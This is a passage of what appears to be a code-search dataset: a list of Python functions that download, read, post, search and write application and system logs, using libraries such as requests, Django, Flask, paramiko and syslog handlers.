}\n return filepointer, status.OK, headers","def emit(self, record):\n data = getattr(record, 'synchrolog', {})\n if not data:\n return\n\n url = data.pop('url', None)\n\n if not url:\n return\n\n headers = {'Authorization': f'Basic {self.access_token}'}\n response = requests.post(url=url, json=data, headers=headers)\n if response.status_code >= 400:\n print('Could not send logging info to synchrolog server\\n\\n', response.text)","def get_logs(self):\n logs_directory = self.protocol_config['logs']\n protocol_name = self.protocol_config['protocol']\n os.system(f'fab -f Execution/fabfile.py get_logs:{logs_directory} --parallel | '\n f' tee WebApp/ExecutionLogs/{protocol_name}.log')","def log_download(self, download):\n with self._conn.begin():\n self._conn.execute(\n \"VALUES (log_download(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s))\",\n (\n sanitize(download.filename),\n download.host,\n download.timestamp.astimezone(UTC).replace(tzinfo=None),\n sanitize(download.arch),\n sanitize(download.distro_name),\n sanitize(download.distro_version),\n sanitize(download.os_name),\n sanitize(download.os_version),\n sanitize(download.py_name),\n sanitize(download.py_version),\n sanitize(download.installer_name),\n sanitize(download.installer_version),\n sanitize(download.setuptools_version),\n ))","def main(args):\n try:\n _download_mjlog(args.log_id, args.output)\n except requests.exceptions.HTTPError as error:\n if error.response.status_code == 404:\n _LG.error('Log file (%s) not found.', args.log_id)\n else:\n _LG.exception('Unexpected error.')\n sys.exit(1)","def access(self, resp, req, environ, request_time):\n if not (self.cfg.accesslog or self.cfg.logconfig or self.cfg.syslog):\n return\n\n msg = self.make_access_message(resp, req, environ, request_time)\n try:\n self.access_log.info(msg)\n except:\n self.error(traceback.format_exc())","def process_syslog_message(self, request: Tuple[bytes, socket]):\n # Parse data from socket request\n message = bytes.decode(request[0].strip())\n source_ip_address, source_port = request[1].getsockname()\n message_list = message.split(\"-\")\n\n # Store it in a data structure\n message_dict = dict()\n message_dict[\"src_port\"] = source_port\n message_dict[\"src_ip\"] = source_ip_address\n message_dict[\"time\"] = message_list[0].split(\":\", 1)[1].split(\": \")[0].strip()\n message_dict[\"level\"] = int(message_list[1])\n message_dict[\"syslog\"] = message_list[2]\n\n # Save to mongo\n devices = Device.objects(src_ip=source_ip_address)\n if not devices:\n device = Device(src_ip=source_ip_address, src_port=source_port)\n else:\n device = devices[0]\n\n # Save syslog to database\n syslog = Syslog(**message_dict)\n syslog.save()\n message_dict[\"syslog_id\"] = str(syslog.id)\n\n # Send message\n response = self.post_message(message=message_dict)\n\n # Get the slack thread id and save it to the syslog\n thread_ts = response.data[\"ts\"]\n syslog.thread_ts = thread_ts\n syslog.save()\n\n # Reference is in the device and save the device\n device.syslogs.append(syslog)\n device.syslog_count += 1\n device.save()","def do_POST(self):\n orig_request = ssl_proxy_log.Request(self.path, 'POST', self.headers,\n self.log, self.http_redirect_table, self.ssl_redirect_table)\n self.log.debug('do_POST called: %s' % self.path)\n request_log = self.fetch2(orig_request, self.wfile, self.rfile)\n\n# if not request_log:\n# return\n\n# if self.display_filter:\n# if not self.display_filter.search(self.path):\n# return\n\n if self.interactive:\n self.Log(request_log)","def test_04_logs(self):\n\n file_name = 'train-test.log'\n request_json = {'file':'train-test.log'}\n r = requests.get('http://localhost:{}/logs/{}'.format(port,file_name))\n\n with open(file_name, 'wb') as f:\n f.write(r.content)\n \n self.assertTrue(os.path.exists(file_name))\n\n if os.path.exists(file_name):\n os.remove(file_name)","def GetDownloadLogFolder(instance):\n log_folder = os.path.join(tempfile.gettempdir(), instance)\n if not os.path.exists(log_folder):\n os.makedirs(log_folder)\n logger.info(\"Download logs to folder: %s\", log_folder)\n return log_folder","def get_url(url):\n get_logs = requests.get(url)\n return get_logs.text","def test_03_add_log_document(self):\n # get applications\n r = requests.get('%s/settings/applications' % self.url, cookies=self.cookies)\n self.assertEqual(r.status_code, 200)\n application_key = re.search('<td>Key</td>.*<td>(.*)</td>', r.content).group(1)\n application_id = re.search('<form id=\"application(\\d+)\"', r.content).group(1)\n\n # add a log\n title = 'log %f' % random.random()\n r = requests.post('%s/api/v1/log/%s' % (self.url, application_key), data={\n 'name': 'Kelp',\n 'title': title,\n \"description\": \"log description\",\n \"email\": \"name@gmail.com\",\n \"version\": \"1.0 (1.0.012)\",\n \"device\": \"iPhone5,1\",\n \"os_version\": \"6.1\",\n \"access_token\": \"oauth access token\",\n \"method\": \"method of http request\",\n \"url\": \"http://victory-demo.appspot.com\",\n \"parameters\": \"parameters of http request\",\n \"status\": \"500\"\n })\n self.assertEqual(r.status_code, 200)\n result = json.loads(r.content)\n self.assertTrue(result['success'])\n\n # get log groups\n r = requests.get('%s/log_groups' % self.url, cookies=self.cookies)\n self.assertEqual(r.status_code, 200)\n group_tag = re.search('<tr href=\"#document_(.+)\" ', r.content).group(1)\n\n # get the log group\n r = requests.get('%s/log_groups/%s/%s' % (self.url, application_id, group_tag), cookies=self.cookies)\n self.assertEqual(r.status_code, 200)\n self.assertRegexpMatches(r.content, '<tr><td>Email</td><td>name@gmail.com</td></tr>')","def readLog(self, offset, length):\r\n self._update('readLog')\r\n\r\n logfile = self.supervisord.options.logfile\r\n\r\n if logfile is None or not os.path.exists(logfile):\r\n raise RPCError(Faults.NO_FILE, logfile)\r\n\r\n try:\r\n return as_string(readFile(logfile, int(offset), int(length)))\r\n except ValueError as inst:\r\n why = inst.args[0]\r\n raise RPCError(getattr(Faults, why))","def call_change_log(input_filter):\n try:\n if input_filter is None:\n latest = _find_latest()\n service_endpoint = _find_filter(\"change_log\")\n else:\n keyword = input_filter.split(\" \")[0]\n if \"release\" == keyword or \"build\" == keyword:\n service_endpoint = _find_filter(input_filter.split(\";\")[2])\n else:\n service_endpoint = _find_filter(keyword)\n\n rel_build = input_filter.replace(\"_\", \".\").split(\" \")[1].split(\";\")\n\n if \"build\" == keyword:\n latest_rel = rel_build[1]\n latest_bui = rel_build[0]\n else:\n latest_rel = rel_build[0]\n latest_bui = rel_build[1]\n\n latest = {\"latest_val\": latest_rel + \"_\" + latest_bui,\n \"second_latest_val\": latest_rel + \"_\" + str(int(latest_bui)-1)}\n\n latest_query = latest[\"second_latest_val\"] + \"..\" + latest[\"latest_val\"]\n data = _call_rest_api(service_endpoint + \"/\" + latest_query, None)\n except Exception as e:\n logger.error(str(e))\n data = {\"success\": \"\", \"data\": {}, \"error\": {\"Message\": str(e)}}\n data = jsonify(data)\n return data","def getArchLogs(self):\n\n # Implement checkFiles() for archs?\n\n # Pull log file\n if self.nbDetails['proc']['archLog'] is not None:\n result = self.c.get(self.nbDetails['proc']['archLog'])\n print(f\"Pulled archive creation log {result.remote} to {result.local}\")\n else:\n print(f\"Archives not yet written.\")","def get_logger(self, ast_ctx, log_type, *arg, **kw):\n\n name = ast_ctx.get_logger_name()\n if name not in self.loggers:\n #\n # Maintain a cache for efficiency.\n #\n self.loggers[name] = ast_ctx.get_logger()\n return getattr(self.loggers[name], log_type)","def update_logs(event, log, action_log, error_log):\n\tif event[\"type\"] == \"error\":\n\t\t#Update the error log file\n\telse:\n\t\t# event[\"type\"] == \"action\"\n\t\t#Update action file","def os_open_comm_log( self, ):\r\n AppGlobal.os_open_txt_file( self.parameters.comm_logging_fn )","def show_bigdl_info_logs(bigdl_type=\"float\"):\n callBigDlFunc(bigdl_type, \"showBigDlInfoLogs\")","def handle_syslog_req(self, user, packet):\n #print(\"=========\" + json.dumps(packet))\n start = packet['start']\n end = packet['end']\n mappings = 'get_mappings' in packet\n pinfo = self.DB.get_proc_info(start, end, mappings)\n minfo = self.DB.get_mem_info(start, end)\n ninfo = self.DB.get_net_info(start, end)\n dinfo = self.DB.get_diskuse_info(start, end)\n cinfo = self.DB.get_cpu_info(start, end)\n reply = {\n \"pinfo\":pinfo, # full processes info\n \"minfo\":minfo, # total memory info\n \"ninfo\":ninfo, # total network info\n \"dinfo\":dinfo, # total disk info\n \"cinfo\":cinfo # total CPU info\n }\n return reply","def search(self,\n referenceid: str = None,\n processlogtype_id: str = None,\n skip: int = None,\n take: int = None,\n order_by: str = None,\n expand: str = None,\n ):\n endpoint = r\"ProcessLogDetails/search\"\n uri = f\"{self.base_uri}/{endpoint}\"\n params = {'referenceId': referenceid,\n 'processLogTypeId': processlogtype_id,\n 'skip': skip,\n 'take': take,\n 'orderBy': order_by,\n 'expand': expand\n }\n response = requests.get(uri, headers=self.header_factory(), params=params)\n return Response(response)","def addLog(log_info,seed_keyword=\"\",meta_keyword=\"\"):\n payload = {\n \"user\" : os.getlogin(),\n \"seed_keyword\":seed_keyword,\n \"meta_keyword\":meta_keyword,\n \"log_info\":log_info\n }\n res = requests.post('{}add/issue/'.format(base_url),data=payload)\n return res.status_code","def log_request(forecast):\n from time import gmtime, strftime\n current_day = strftime(\"%d/%m/%Y\", gmtime())\n current_time = strftime(\"%H:%M\", gmtime())\n\n with open('locations.log', 'a') as log:\n # print(request.remote_addr, file=log) # IP address\n # print(request.user_agent, file=log) # User agent\n # print(where.title(), current, forecast, file=log, sep=' | ')\n\n location = forecast['location']\n temperature = str(forecast['temperature']) + '°C'\n weather = forecast['weather']\n print(location.title(), current_day, current_time, temperature, weather.title(), file=log, sep=' | ')","def gerar_log():\n arquivo = Path(f'{path_server}/etc/serverx/logs/{datetime.date.today().strftime(\"%d-%m-%Y\")}.txt')\n if os.path.exists(arquivo):\n with open(f'{path_server}/etc/serverx/logs/{datetime.date.today().strftime(\"%d-%m-%Y\")}.txt', 'a') as acessos:\n acessos.write(f'{datetime.datetime.now()} - {request.headers[\"Host\"]} {request.headers[\"User-Agent\"]}\\n')\n else:\n with open(f'{path_server}/etc/serverx/logs/{datetime.date.today().strftime(\"%d-%m-%Y\")}.txt', 'w') as acessos:\n acessos.write(f'{datetime.datetime.now()} - {request.headers[\"Host\"]} {request.headers[\"User-Agent\"]}\\n')","def __call__(self, request):\n request.start_time = time.time()\n\n response = self.get_response(request)\n\n log_data = self.extract_log_info(request=request, response=response)\n logger.info(log_data)\n\n return response","def get_log()->dict:\n return execute_command(\"SELECT log FROM log\").fetchall()[0][0]","def test_nodelog_kubelet(self):\n nodelog_url = self.BUILD_DIR + 'nodelog?pod=abc&junit=junit_01.xml'\n init_build(self.BUILD_DIR)\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/junit_01.xml', JUNIT_SUITE)\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/kubelet.log',\n 'abc\\nEvent(api.ObjectReference{Name:\"abc\", UID:\"podabc\"})\\n')\n response = app.get('/build' + nodelog_url)\n self.assertIn(\"Wrap line\", response)","def userLog(self, logStr):\n if self.ioLoopInst is not None:\n cmd = {'cmd': 'userLog', 'value': logStr}\n self._sendMessageToWeb(cmd)\n else:\n print(\"UserLog: \" + logStr)","def log(self, logdata_ps): # 0.2.2: single arg as for non-xmlrpc version\n\t\ttry:\n\t\t\tlogdata = pickle.loads(logdata_ps.data)\n\t\texcept Exception as e:\n\t\t\treturn \"invalid pickle data:\"+str(e)\n\t\ttry:\n\t\t\tself.s.log(logdata)\n\t\texcept Exception as e:\n\t\t\treturn \"log failed:\"+str(e)\n\t\treturn \"\"","def get_log(self, logs, ref=None):\n log_list = list()\n output_list = list()\n if isinstance(logs, str):\n log_list.append(logs)\n elif isinstance(logs, list):\n log_list = logs\n for name in log_list:\n new_log = Log()\n new_log.name = name.lower()[:3] + '_' + \\\n self.well_name.lower().replace('-', '_')\n new_log.units = self.unit_dict[name]\n new_log.descr = name\n new_log.depth = np.array(self.data_frame['Depth(m)'].values)\n new_log.data = np.array(self.data_frame[\n '{}({})'.format(name, self.unit_dict[name])].values)\n if ref == 'sea':\n shift = int(self.kelly_bushing // 0.1)\n shift_data = np.full_like(new_log.data, np.nan, dtype=np.double)\n shift_data[:-shift] = new_log.data[shift:]\n new_log.data = shift_data\n output_list.append(new_log)\n if isinstance(logs, str):\n return output_list[0]\n else:\n return output_list","def export_getRequest(self,requestType):\n gLogger.info(\"RequestHandler.getRequest: Attempting to get request type\", requestType)\n try:\n res = requestDB.getRequest(requestType)\n return res\n except Exception,x:\n errStr = \"RequestManagerHandler.getRequest: Exception while getting request.\"\n gLogger.exception(errStr,requestType,lException=x)\n return S_ERROR(errStr)","def log_process():\n global logger\n\n p = reqparse.RequestParser()\n\n # answer when requested as json in a post\n p.add_argument('tool_id' , type=str, location='json')\n p.add_argument('api_key', type=str, location='json')\n p.add_argument('message', type=str, location='json')\n \n # get passed params \n args = p.parse_args()\n\n args.setdefault('api_key','')\n args.setdefault('message','')\n args.setdefault('tool_id','')\n\n if (args['api_key'] != api_key):\n return log_respond(1,'api_key invalid')\n\n logger.info('tool_id:' + args['tool_id'] + ',' + args['message'])\n\n return log_respond(0,'ok: log posted')"],"string":"[\n \"def logType(log):\\n filename = log_dir\\n if log == \\\"general\\\":\\n filename += \\\"openvpn.log\\\"\\n elif log == \\\"status\\\":\\n filename += \\\"openvpn-status.log\\\"\\n else:\\n abort(404)\\n \\n return jsonify({\\\"logData\\\" : hl.getLog(filename)})\",\n \"def download_log(request):\\n\\n return_dict = {}\\n try:\\n hw_platform, err = config.get_hardware_platform()\\n if err:\\n raise Exception(err)\\n if hw_platform and hw_platform != 'dell':\\n raise Exception('Unknown hardware platform')\\n return_dict['hw_platform'] = hw_platform\\n\\n form = log_management_forms.DownloadLogsForm(request.POST or None)\\n\\n if request.method == 'POST':\\n if form.is_valid():\\n cd = form.cleaned_data\\n log_type = cd['log_type']\\n\\n if log_type in ['alerts', 'audit', 'hardware']:\\n response = django.http.HttpResponse()\\n if log_type == 'alerts':\\n response['Content-disposition'] = 'attachment; filename=alerts_log.txt'\\n all_alerts, err = alerts.get_alerts()\\n if err:\\n raise Exception(err)\\n for alert in all_alerts:\\n if int(alert['repeat_count']) > 1:\\n response.write('Last alert time %s\\\\nAlert message: %s\\\\nRepeated count: %d\\\\n\\\\n' %\\n (alert['last_update_time'], alert['alert_str'], int(alert['repeat_count'])))\\n else:\\n response.write('Last alert time %s\\\\nAlert message: %s\\\\n\\\\n' %\\n (alert['last_update_time'], alert['alert_str']))\\n response.flush()\\n elif log_type == 'audit':\\n response['Content-disposition'] = 'attachment; filename=audit_log.txt'\\n all_audits, err = audit.get_entries()\\n if err:\\n raise Exception(err)\\n for audit_info in all_audits:\\n response.write('Time : %s \\\\n' % audit_info['time'])\\n response.write('Source IP : %s \\\\n' %\\n audit_info['ip'])\\n response.write('Action : %s \\\\n' %\\n audit_info['action_str'])\\n response.write('\\\\n')\\n response.flush()\\n elif log_type == 'hardware':\\n response['Content-disposition'] = 'attachment; filename=hardware_logs.txt'\\n hw_platform, err = config.get_hardware_platform()\\n if not hw_platform or hw_platform != 'dell':\\n raise Exception('Unknown hardware platform')\\n if hw_platform == 'dell':\\n from integralstor.platforms import dell\\n logs_dict, err = dell.get_alert_logs()\\n if err:\\n raise Exception(err)\\n if not logs_dict:\\n raise Exception('No logs detected!')\\n for timestamp, log_list in logs_dict.items():\\n for log in log_list:\\n response.write('Time : %s\\\\n' %\\n log['date_time'])\\n response.write(\\n 'Severity : %s\\\\n' % log['Severity'])\\n response.write(\\n 'Description : %s\\\\n' % log['description'])\\n response.write('\\\\n')\\n response.flush()\\n else:\\n raise Exception('Unknown platform')\\n else:\\n scripts_log, err = config.get_scripts_log_path()\\n if err:\\n raise Exception(err)\\n\\n system_logs = [('/var/log/boot.log', 'boot.log'), ('/var/log/dmesg', 'dmesg'), ('/var/log/messages', 'messages'),\\n ('/var/log/smblog.vfs', 'samba'), ('/var/log/samba/log.winbindd', 'winbind'), (scripts_log, 'scripts')]\\n\\n now_local_epoch, err = datetime_utils.get_epoch(when='now')\\n if err:\\n raise Exception(err)\\n now_local_str, err = datetime_utils.convert_from_epoch(\\n now_local_epoch, return_format='str', str_format='%Y_%m_%d_%H_%M', to='local')\\n if err:\\n raise Exception(err)\\n\\n zf_name = 'IntegralSTOR_system_logs_%s.zip' % now_local_str\\n\\n try:\\n out = io.BytesIO()\\n zf = zipfile.ZipFile(out, 'w')\\n for entry in system_logs:\\n zf.write(entry[0], arcname=entry[1])\\n #zf.write(file_name, arcname=display_name)\\n zf.close()\\n except Exception as e:\\n raise Exception(\\n \\\"Error compressing log file : %s\\\" % str(e))\\n\\n response = django.http.HttpResponse(\\n out.getvalue(), content_type='application/x-compressed')\\n response['Content-disposition'] = 'attachment; filename=%s' % (\\n zf_name)\\n\\n return response\\n\\n # either a get or an invalid form so send back form\\n return_dict['form'] = form\\n return django.shortcuts.render_to_response('download_log_form.html', return_dict, context_instance=django.template.context.RequestContext(request))\\n except Exception, e:\\n return_dict['base_template'] = \\\"logging_base.html\\\"\\n return_dict[\\\"page_title\\\"] = 'Download system logs'\\n return_dict['tab'] = 'logs_tab'\\n return_dict[\\\"error\\\"] = 'Error downloading system logs'\\n return_dict[\\\"error_details\\\"] = str(e)\\n return django.shortcuts.render_to_response(\\\"logged_in_error.html\\\", return_dict, context_instance=django.template.context.RequestContext(request))\",\n \"def download_xes_log():\\n # reads the session\\n session = request.args.get('session', type=str)\\n # reads the requested process name\\n process = request.args.get('process', default='receipt', type=str)\\n if Configuration.enable_download:\\n if check_session_validity(session):\\n user = get_user_from_session(session)\\n if lh.check_user_log_visibility(user, process):\\n if lh.check_user_enabled_download(user, process):\\n content = lh.get_handler_for_process_and_session(process, session).download_xes_log()\\n return jsonify({\\\"content\\\": content.decode('utf-8')})\\n return jsonify({\\\"content\\\": \\\"\\\"})\",\n \"def Logs():\\n # time.sleep(100)\\n params = request.get_json()\\n hostname = params.get('vaultip', '164.99.91.35')\\n password = params.get('boxpass', 'novell')\\n username = params.get('boxusername', 'root')\\n port = 22\\n logType = 'download'\\n client = paramiko.SSHClient()\\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\\n client.connect(hostname=hostname, username=username, password=password, port=port)\\n\\n try:\\n print('configure')\\n logType= 'configure'\\n sftp = client.open_sftp()\\n stdin = sftp.open('/var/opt/netiq/idm/log/idmconfigure.log','r')\\n # sftp.close();\\n except Exception:\\n try:\\n print('install')\\n logType= 'install'\\n # sftp = client.open_sftp()\\n stdin = sftp.open('/var/opt/netiq/idm/log/idminstall.log','r')\\n except Exception:\\n #sftp.close()\\n print('download')\\n logType= 'download'\\n try:\\n stdin = sftp.open('/tmp/download.log','r')\\n except Exception:\\n sftp.close()\\n return jsonify('no file'),200\\n #sftp.close()\\n log = stdin.readlines()\\n data={'type':logType,'log':log}\\n return jsonify(data),200\",\n \"def get_logs(self, offset = 0, length = 10, type = \\\"all\\\"):\\n if isinstance(type, bool):\\n if type:\\n type = \\\"error\\\"\\n else:\\n type = \\\"all\\\"\\n return AlgoliaUtils_request(self.headers, self.write_hosts, \\\"GET\\\", \\\"/1/logs?offset=%d&length=%d&type=%s\\\" % (offset, length, type), self.timeout)\",\n \"def _process_logs_download(self, logfile):\\r\\n\\r\\n print 'Downloading PCU logs'\\r\\n command = 'robot --outputdir \\\"C:\\\\Robot Framework\\\\Output\\\\PCU_logs\\\" {}.robot'.format(self.name)\\r\\n\\r\\n return self._run_command(command, logfile)\",\n \"def download_csv_log():\\n # reads the session\\n session = request.args.get('session', type=str)\\n # reads the requested process name\\n process = request.args.get('process', default='receipt', type=str)\\n if Configuration.enable_download:\\n if check_session_validity(session):\\n user = get_user_from_session(session)\\n if lh.check_user_log_visibility(user, process):\\n if lh.check_user_enabled_download(user, process):\\n content = lh.get_handler_for_process_and_session(process, session).download_csv_log()\\n return jsonify({\\\"content\\\": content})\\n return jsonify({\\\"content\\\": \\\"\\\"})\",\n \"def get_server_logs(self):\\n self.response.content\\n binary_body = re.split('--==.*==', self.response.content)[2].split('\\\\r\\\\n')[5]\\n\\n f = StringIO.StringIO()\\n f.write(bytearray(binary_body))\\n\\n memory_zip = ZipFile(f)\\n zip_content = {name: memory_zip.read(name) for name in memory_zip.namelist()}\\n oracc_log = zip_content['oracc.log']\\n request_log = zip_content['request.log']\\n\\n # Check if server returns a lemmatised file\\n autolem = None \\n for key, value in zip_content.iteritems():\\n if key.endswith(\\\"autolem.atf\\\"):\\n autolem = value\\n\\n print zip_content.keys()\\n print \\\"@\\\"*30\\n print oracc_log\\n print \\\"@\\\"*30\\n print request_log\\n print \\\"@\\\"*30\\n if autolem:\\n print autolem\\n print \\\"@\\\"*30\\n\\n return oracc_log, request_log, autolem\",\n \"def log(self):\\n resp = requests.get(\\\"%s/api/log\\\"%self.urlbase, verify=False)\\n return resp.json[\\\"log\\\"]\",\n \"def getLog():\\n with open(webapp.config['LOGFILE'], 'r') as logfile:\\n output = logfile.read()\\n if request.headers['Accept'] == 'application/json':\\n return output, 200\\n else:\\n return render_template(\\\"output.html\\\", output=output)\",\n \"def log_export(request, xform, export_type):\\n # log download as well\\n audit = {\\\"xform\\\": xform.id_string, \\\"export_type\\\": export_type}\\n log.audit_log(\\n log.Actions.EXPORT_DOWNLOADED,\\n request.user,\\n xform.user,\\n _(f\\\"Downloaded {export_type.upper()} export on '{xform.id_string}'.\\\"),\\n audit,\\n request,\\n )\",\n \"def log(self, namespace, agent, ltype: int = 0):\\n if isinstance(agent, Agent):\\n agent = agent.uid\\n\\n with self.lock:\\n with self.zip.open(f'{namespace}/logs/{agent}_{ltype}.txt', 'r') as log:\\n return log.read().decode('utf-8')\",\n \"def get_log(request, **kwargs):\\n\\n #Creating the command for the logs \\n try:\\n\\tprint(kwargs)\\n\\tprint(request.GET['project_id'])\\n\\toutputStr = sidecar.events.test_logs(project_id=request.GET['project_id'])\\n\\tlog_data = outputStr.log_data\\n\\toutputStr = \\\" <br>\\\".join(log_data.split(\\\"\\\\n\\\"))\\n except Exception, e:\\n outputStr = \\\"Updating the logs...\\\"\\t\\n #Making the output\\n context = {\\n \\\"page_title\\\": _(\\\"Test Details\\\"),\\n \\\"test_lists\\\": 'report_list', #tests_list\\n \\\"log_data\\\": outputStr\\n }\\n return render(request, 'rally_dashboard/events/test_logs.html', context)\",\n \"def _read_log(self, **kwargs):\\n\\n log_file = find_log_file()\\n\\n if not log_file:\\n raise RequestProcessingError(\\n \\\"Error attempting to retrieve logs - unable to determine log filename. \\\"\\n \\\"Please verify that the plugin is writing to a log file.\\\"\\n )\\n\\n try:\\n return read_log_file(log_file=log_file, **kwargs)\\n except IOError as e:\\n raise RequestProcessingError(\\n \\\"Error attempting to retrieve logs - unable to read log file at {0}. \\\"\\n \\\"Root cause I/O error {1}: {2}\\\".format(log_file, e.errno, e.strerror)\\n )\",\n \"def __download(self, downloadType):\\n\\n downloadAudit = {}\\n downloadAudit['download_type'] = downloadType\\n downloadAudit['remote_url'] = self.remoteUrl#get the url that is being requested\\n downloadAudit['download_start_time'] = datetime.now()#capture the date when the url was accessed\\n #first make an entry into the db stating that a download operation is to be attempted\\n downloadAudit['comment'] = 'Starting download operation'\\n newRecordId = self.__auditFileRequest(downloadAudit)\\n\\n downloadAudit = {}\\n try:\\n req = urllib2.Request(self.remoteUrl)\\n r = urllib2.urlopen(req)\\n except URLError, urle:\\n if hasattr(urle, 'reason'):\\n downloadAudit['comment'] = urle.reason\\n else:\\n downloadAudit['comment'] = urle.__str__()\\n \\n self.__auditFileRequest(downloadAudit, newRecordId)\\n \\n return None #just return since there has been an error in connecting with the remote server\\n\\n try:\\n downloadAudit['local_file_path'] = '/' + self.localRepoDir + '/' + downloadType + '/' + downloadType + '-' + datetime.now().strftime('%Y-%m-%d %H:%M:%S') + '.xls'\\n\\n file = open(settings.APPLICATION_SETTINGS['MCH_HOME'] + downloadAudit['local_file_path'], 'wb')\\n file.write(r.read())\\n\\n #headerInfo = r.info()\\n\\n isFileToBeProcessed = False #default is not to process file\\n\\n #before downloading, check to see if the remote file is more recent than the last file that was downloaded, whose\\n #information is in the db\\n latestFetch = self.__recentDownload(downloadType)\\n\\n if latestFetch:\\n downloadAudit['file_size'] = latestFetch[0]\\n file.flush()#make sure all the content is written to file \\n os.fsync(file.fileno())\\n if latestFetch[0] != os.path.getsize(file.name):\\n isFileToBeProcessed = True\\n else:\\n isFileToBeProcessed = True\\n\\n if isFileToBeProcessed:\\n downloadAudit['file_size'] = os.path.getsize(file.name)\\n downloadAudit['file_modification_time'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\\n downloadAudit['download_completion_time'] = datetime.now()\\n #now make an audit entry into the database\\n downloadAudit['comment'] = 'New file to be processed.'\\n else:\\n os.remove(file.name)#remove the file since it looks like it has already been downloaded and processed\\n #now make an audit entry into the database\\n downloadAudit['comment'] = 'File already downloaded, purged it from the file system.'\\n\\n self.__auditFileRequest(downloadAudit, newRecordId)\\n file.close()\\n except Exception as e:\\n self.logger.exception('\\\\n Unknown fatal error occured during the downloading of the raw files. %s' % str(e))\\n\\n return newRecordId\",\n \"def getLogs():\",\n \"def getLogs():\",\n \"def log_type(self) -> str:\\n return pulumi.get(self, \\\"log_type\\\")\",\n \"def log(self, type:str, data:dict={}, **kwdargs):\\n info = {}\\n \\n info['type'] = type\\n info['session'] = self.session\\n\\n kwdargs.update(data)\\n info['data'] = kwdargs\\n\\n if self.log_gpu_stats:\\n keys = ['fan_spd', 'temp', 'pwr_used', 'mem_used', 'util']\\n \\n gpus = gpu_info()\\n info['gpus'] = [{k: gpus[i][k] for k in keys} for i in self.visible_gpus]\\n \\n if self.log_time:\\n info['time'] = time.time()\\n \\n \\n out = json.dumps(info) + '\\\\n'\\n\\n with open(self.log_path, 'a') as f:\\n f.write(out)\",\n \"def GetLogs(self):\\n raise NotImplementedError()\",\n \"def log():\\n data = {}\\n log = {}\\n log['dia'] = date.today().strftime(\\\"%d/%m/%Y\\\")\\n log['info'] = ('Rooms IP: %s %s %s')%(request.remote_addr,request.method, request.url)\\n data['data'] = log\\n try:\\n r = requests.post(uri, json=data)\\n except requests.exceptions.RequestException as e:\\n print(e)\\n print(\\\"\\\\n\\\\nThe microservice Log is unvailable. The Log is %s.\\\"%(log['info']))\\n else:\\n if r.status_code == 200:\\n print(\\\"Register Log was a success\\\")\\n else:\\n print(\\\"Register Log was an unsuccess\\\")\",\n \"def download_file(self):\\n\\n self.monitor.info(f'-> Started to download log file from: {self.url}...')\\n try:\\n log_file = requests.get(self.url, allow_redirects=True)\\n\\n postfix = f'{datetime.today().strftime(\\\"%Y_%m_%d\\\")}_{str(int(time.time()))}'\\n filename = f\\\"log_file_{postfix}.txt\\\"\\n\\n self.monitor.info(f'-> Writing file to {LOG_FILES_PATH}...')\\n open(LOG_FILES_PATH + '/' + filename, 'wb').write(log_file.content)\\n self.monitor.info(f'-> Finished writing file to {LOG_FILES_PATH}.')\\n\\n file_path = self.log_file_path + '/' + filename\\n\\n return file_path, postfix\\n\\n except requests.exceptions.SSLError as connection_error:\\n self.monitor.exception(f'-> Something bad happened. Details:\\\\n {repr(connection_error)}')\\n return None, None\",\n \"def search_log(doc_type, query):\\n if query:\\n body = {\\n \\\"from\\\": 0,\\n \\\"size\\\": 50,\\n \\\"sort\\\": [\\n {\\n \\\"created_at\\\": {\\n \\\"order\\\": \\\"desc\\\"\\n }\\n }\\n ],\\n \\\"query\\\": {\\n \\\"term\\\": {\\n \\\"_all\\\": \\\"the\\\"\\n }\\n }\\n }\\n else:\\n body = {\\n \\\"from\\\": 0,\\n \\\"size\\\": 50,\\n \\\"sort\\\": [\\n {\\n \\\"created_at\\\": {\\n \\\"order\\\": \\\"desc\\\"\\n }\\n }\\n ]\\n }\\n if doc_type:\\n print \\\"condition 1 true\\\"\\n res = es.search(index=\\\"logs\\\", doc_type=str(doc_type).strip(), body=body)\\n else:\\n res = es.search(index=\\\"logs\\\", body=body)\\n\\n data = []\\n if not res.get('timed_out'):\\n for item in res[\\\"hits\\\"][\\\"hits\\\"]:\\n data.append({\\n 'client_ip': item['_source'].get('client_ip'),\\n 'client': item['_source'].get('client'),\\n 'log': item['_source'].get('log'),\\n 'service': item['_source'].get('service'),\\n })\\n response = {\\\"data\\\": data}\\n return response\",\n \"def updater_log_file(self,request):\\n\\t\\t# ----------- DEBUG -----------------\\n\\t\\tMODULE.info(\\\"updater/installer/logfile invoked with:\\\")\\n\\t\\tpp = pprint.PrettyPrinter(indent=4)\\n\\t\\tst = pp.pformat(request.options).split(\\\"\\\\n\\\")\\n\\t\\tfor s in st:\\n\\t\\t\\t\\tMODULE.info(\\\" << %s\\\" % s)\\n\\t\\t# -----------------------------------\\n\\t\\tresult = None\\n\\t\\tjob = ''\\n\\t\\tif self._current_job and 'job' in self._current_job:\\n\\t\\t\\tjob = self._current_job['job']\\n\\t\\telse:\\n\\t\\t\\tjob = request.options.get('job','')\\n\\n\\t\\tcount = request.options.get('count',0)\\n\\t\\tif count < 0:\\n\\t\\t\\tresult = 0\\n\\t\\telse:\\n\\t\\t\\tresult = []\\n\\t\\tif not job in INSTALLERS:\\n\\t\\t\\t# job empty: this is the first call I can't avoid\\n\\t\\t\\tif job != '':\\n\\t\\t\\t\\tMODULE.warn(\\\" ?? Don't know a '%s' job\\\" % job)\\n\\t\\telse:\\n\\t\\t\\tif not 'logfile' in INSTALLERS[job]:\\n\\t\\t\\t\\tMODULE.warn(\\\" ?? Job '%s' has no associated log file\\\" % job)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tfname = INSTALLERS[job]['logfile']\\n\\t\\t\\t\\tif count < 0:\\n\\t\\t\\t\\t\\tresult = self._logstamp(fname)\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t# don't read complete file if we have an 'ignore' count\\n\\t\\t\\t\\t\\tif ('lines' in self._current_job) and (self._current_job['lines']):\\n\\t\\t\\t\\t\\t\\tcount += int(self._current_job['lines'])\\n\\t\\t\\t\\t\\tresult = self._logview(fname, -count)\\n\\n\\t\\t# again debug, shortened\\n\\t\\tif isinstance(result,int):\\n\\t\\t\\tMODULE.info(\\\" >> %d\\\" % result)\\n\\t\\telse:\\n\\t\\t\\tMODULE.info(\\\" >> %d lines\\\" % 